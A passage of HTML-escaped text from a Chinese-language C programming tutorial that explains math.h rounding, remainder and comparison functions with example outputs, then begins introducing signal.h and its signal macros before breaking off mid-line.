class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003etrunc(\u003cspan class=\"number\"\u003e3.14\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 3.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etrunc(\u003cspan class=\"number\"\u003e3.8\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 3.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etrunc(\u003cspan class=\"number\"\u003e-1.5\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// -1.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etrunc(\u003cspan class=\"number\"\u003e-1.14\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// -1.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"ceil\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#ceil\" class=\"headerlink\" title=\"ceil()\"\u003e\u003c/a\u003eceil()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eceil()\u003c/code\u003e返回不小于其参数的最小整数(double 类型),属于“向上舍入”。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003eceil\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eceil\u003c/span\u003e(\u003cspan class=\"number\"\u003e7.1\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 8.0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eceil\u003c/span\u003e(\u003cspan class=\"number\"\u003e7.9\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 8.0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eceil\u003c/span\u003e(\u003cspan class=\"number\"\u003e-7.1\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// -7.0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eceil\u003c/span\u003e(\u003cspan class=\"number\"\u003e-7.9\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// -7.0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"floor\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#floor\" class=\"headerlink\" title=\"floor()\"\u003e\u003c/a\u003efloor()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efloor()\u003c/code\u003e返回不大于其参数的最大整数,属于“向下舍入”。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003efloor\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efloor\u003c/span\u003e(\u003cspan class=\"number\"\u003e7.1\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 7.0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efloor\u003c/span\u003e(\u003cspan class=\"number\"\u003e7.9\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 7.0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efloor\u003c/span\u003e(\u003cspan class=\"number\"\u003e-7.1\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// -8.0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efloor\u003c/span\u003e(\u003cspan class=\"number\"\u003e-7.9\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// -8.0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面的函数可以实现“四舍五入”。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003eround_nearest\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e x \u0026lt; \u003cspan class=\"number\"\u003e0.0\u003c/span\u003e ? \u003cspan class=\"built_in\"\u003eceil\u003c/span\u003e(x - \u003cspan class=\"number\"\u003e0.5\u003c/span\u003e) : \u003cspan class=\"built_in\"\u003efloor\u003c/span\u003e(x + \u003cspan class=\"number\"\u003e0.5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"fmod\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fmod\" class=\"headerlink\" title=\"fmod()\"\u003e\u003c/a\u003efmod()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efmod()\u003c/code\u003e返回第一个参数除以第二个参数的余数,就是余值运算符\u003ccode\u003e%\u003c/code\u003e的浮点数版本,因为\u003ccode\u003e%\u003c/code\u003e只能用于整数运算。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003efmod\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x, \u003cspan class=\"type\"\u003edouble\u003c/span\u003e y)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它在幕后执行的计算是\u003ccode\u003ex - trunc(x / y) * y\u003c/code\u003e,返回值的符号与\u003ccode\u003ex\u003c/code\u003e的符号相同。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efmod\u003c/span\u003e(\u003cspan class=\"number\"\u003e5.5\u003c/span\u003e, \u003cspan class=\"number\"\u003e2.2\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 1.100000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efmod\u003c/span\u003e(\u003cspan class=\"number\"\u003e-9.2\u003c/span\u003e, \u003cspan class=\"number\"\u003e5.1\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// -4.100000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efmod\u003c/span\u003e(\u003cspan class=\"number\"\u003e9.2\u003c/span\u003e, \u003cspan class=\"number\"\u003e5.1\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 4.100000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"浮点数比较函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%B5%AE%E7%82%B9%E6%95%B0%E6%AF%94%E8%BE%83%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"浮点数比较函数\"\u003e\u003c/a\u003e浮点数比较函数\u003c/h3\u003e\u003cp\u003e以下函数用于两个浮点数的比较,返回值的类型是整数。\u003c/p\u003e\u003cul\u003e\u003cli\u003eisgreater():返回\u003ccode\u003ex \u0026gt; y\u003c/code\u003e的结果。\u003c/li\u003e\u003cli\u003eisgreaterequal():返回\u003ccode\u003ex \u0026gt;= y\u003c/code\u003e的结果。\u003c/li\u003e\u003cli\u003eisless():返回\u003ccode\u003ex \u0026lt; y\u003c/code\u003e的结果。\u003c/li\u003e\u003cli\u003eislessequal():返回\u003ccode\u003ex \u0026lt;= y\u003c/code\u003e的结果。\u003c/li\u003e\u003cli\u003eislessgreater():返回\u003ccode\u003e(x \u0026lt; y) || (x \u0026gt; y)\u003c/code\u003e的结果。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eisgreater(\u003cspan class=\"number\"\u003e10.0\u003c/span\u003e, \u003cspan class=\"number\"\u003e3.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eisgreaterequal(\u003cspan class=\"number\"\u003e10.0\u003c/span\u003e, \u003cspan class=\"number\"\u003e10.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eisless(\u003cspan class=\"number\"\u003e10.0\u003c/span\u003e, \u003cspan class=\"number\"\u003e3.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eislessequal(\u003cspan class=\"number\"\u003e10.0\u003c/span\u003e, \u003cspan class=\"number\"\u003e3.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eislessgreater(\u003cspan class=\"number\"\u003e10.0\u003c/span\u003e, \u003cspan class=\"number\"\u003e3.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eislessgreater(\u003cspan class=\"number\"\u003e10.0\u003c/span\u003e, \u003cspan class=\"number\"\u003e30.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eislessgreater(\u003cspan class=\"number\"\u003e10.0\u003c/span\u003e, \u003cspan class=\"number\"\u003e10.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"isunordered\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#isunordered\" class=\"headerlink\" title=\"isunordered()\"\u003e\u003c/a\u003eisunordered()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eisunordered()\u003c/code\u003e返回两个参数之中,是否存在 NAN。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eisunordered\u003c/span\u003e\u003cspan class=\"params\"\u003e(any_floating_type x, any_floating_type y)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eisunordered(\u003cspan class=\"number\"\u003e1.0\u003c/span\u003e, \u003cspan class=\"number\"\u003e2.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eisunordered(\u003cspan class=\"number\"\u003e1.0\u003c/span\u003e, \u003cspan class=\"built_in\"\u003esqrt\u003c/span\u003e(\u003cspan class=\"number\"\u003e-1\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eisunordered(NAN, \u003cspan class=\"number\"\u003e30.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eisunordered(NAN, NAN) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"其他函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%85%B6%E4%BB%96%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"其他函数\"\u003e\u003c/a\u003e其他函数\u003c/h3\u003e\u003cp\u003e下面是 math.h 包含的其它函数。\u003c/p\u003e\u003cul\u003e\u003cli\u003epow():计算参数\u003ccode\u003ex\u003c/code\u003e的\u003ccode\u003ey\u003c/code\u003e次方。\u003c/li\u003e\u003cli\u003esqrt():计算一个数的平方根。\u003c/li\u003e\u003cli\u003ecbrt():计算立方根。\u003c/li\u003e\u003cli\u003efabs():计算绝对值。\u003c/li\u003e\u003cli\u003ehypot():根据直角三角形的两条直角边,计算斜边。\u003c/li\u003e\u003cli\u003efmax():返回两个参数之中的最大值。\u003c/li\u003e\u003cli\u003efmin():返回两个参数之中的最小值。\u003c/li\u003e\u003cli\u003eremainder():返回 IEC 60559 标准的余数,类似于\u003ccode\u003efmod()\u003c/code\u003e,但是余数范围是从\u003ccode\u003e-y/2\u003c/code\u003e到\u003ccode\u003ey/2\u003c/code\u003e,而不是从\u003ccode\u003e0\u003c/code\u003e到\u003ccode\u003ey\u003c/code\u003e。\u003c/li\u003e\u003cli\u003eremquo():同时返回余数和商,余数的计算方法与\u003ccode\u003eremainder()\u003c/code\u003e相同。\u003c/li\u003e\u003cli\u003ecopysign():返回一个大小等于第一个参数、符号等于第二个参数的值。\u003c/li\u003e\u003cli\u003enan():返回 NAN。 \u003c/li\u003e\u003cli\u003enextafter():获取下一个(或者上一个,具体方向取决于第二个参数\u003ccode\u003ey\u003c/code\u003e)当前系统可以表示的浮点值。\u003c/li\u003e\u003cli\u003enextoward():与\u003ccode\u003enextafter()\u003c/code\u003e相同,除了第二个参数是 long double 类型。\u003c/li\u003e\u003cli\u003efdim():如果第一个参数减去第二个参数大于\u003ccode\u003e0\u003c/code\u003e,则返回差值,否则返回\u003ccode\u003e0\u003c/code\u003e。\u003c/li\u003e\u003cli\u003efma():以快速计算的方式,返回\u003ccode\u003ex * y + z\u003c/code\u003e的结果。\u003c/li\u003e\u003cli\u003enearbyint():在当前舍入方向上,舍入到最接近的整数。当前舍入方向可以使用\u003ccode\u003efesetround()\u003c/code\u003e函数设定。\u003c/li\u003e\u003cli\u003erint():在当前舍入方向上,舍入到最接近的整数,与\u003ccode\u003enearbyint()\u003c/code\u003e相同。不同之处是,它会触发浮点数的\u003ccode\u003eINEXACT\u003c/code\u003e异常。\u003c/li\u003e\u003cli\u003elrint():在当前舍入方向上,舍入到最接近的整数,与\u003ccode\u003erint()\u003c/code\u003e相同。不同之处是,返回值是一个整数,而不是浮点数。\u003c/li\u003e\u003cli\u003eerf():计算一个值的误差函数。\u003c/li\u003e\u003cli\u003eerfc():计算一个值的互补误差函数。\u003c/li\u003e\u003cli\u003etgamma():计算 Gamma 函数。\u003c/li\u003e\u003cli\u003elgamma():计算 Gamma 函数绝对值的自然对数。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003epow\u003c/span\u003e(\u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 81.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003esqrt\u003c/span\u003e(\u003cspan class=\"number\"\u003e3.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 1.73205\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecbrt(\u003cspan class=\"number\"\u003e1729.03\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 12.002384\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efabs\u003c/span\u003e(\u003cspan class=\"number\"\u003e-3490.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 3490.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehypot(\u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 5.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmax(\u003cspan class=\"number\"\u003e3.0\u003c/span\u003e, \u003cspan class=\"number\"\u003e10.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 10.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmin(\u003cspan class=\"number\"\u003e10.0\u003c/span\u003e, \u003cspan class=\"number\"\u003e3.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 3.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"signal-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#signal-h\" class=\"headerlink\" title=\"signal.h\"\u003e\u003c/a\u003esignal.h\u003c/h2\u003e\u003ch3 id=\"简介-11\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-11\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esignal.h\u003c/code\u003e提供了信号(即异常情况)的处理工具。所谓“信号”(signal),可以理解成系统与程序之间的短消息,主要用来表示运行时错误,或者发生了异常事件。\u003c/p\u003e\u003cp\u003e头文件\u003ccode\u003esignal.h\u003c/code\u003e定义了一系列宏,表示不同的信号。\u003c/p\u003e\u003cul\u003e\u003cli\u003eSIGABRT:异常中止(可能由于调用了 abort() 方法)。\u003c/li\u003e\u003cli\u003eSIGFPE:算术运算发生了错误(可能是除以 0 或者溢出)。\u003c/li\u003e\u003cli\u003eSIGILL:无效指令。\u003c/li\u003e\u003cli\u003eSIGINT:中断。\u003c/li\u003e\u003cli\u003eSIGSEGV:无效内存访问。\u003c/li\u003e\u003cli\u003eSIGTERM:终止请求。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面每个宏的值都是一个正整数常量。\u003c/p\u003e\u003ch3 id=\"signal\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#signal\" class=\"headerlink\" title=\"signal()\"\u003e\u003c/a\u003esignal()\u003c/h3\u003e\u003cp\u003e头文件\u003ccode\u003esignal.h\u003c/code\u003e还定义了一个\u003ccode\u003esignal()\u003c/code\u003e函数,用来指定某种信号的处理函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esignal(SIGINT, 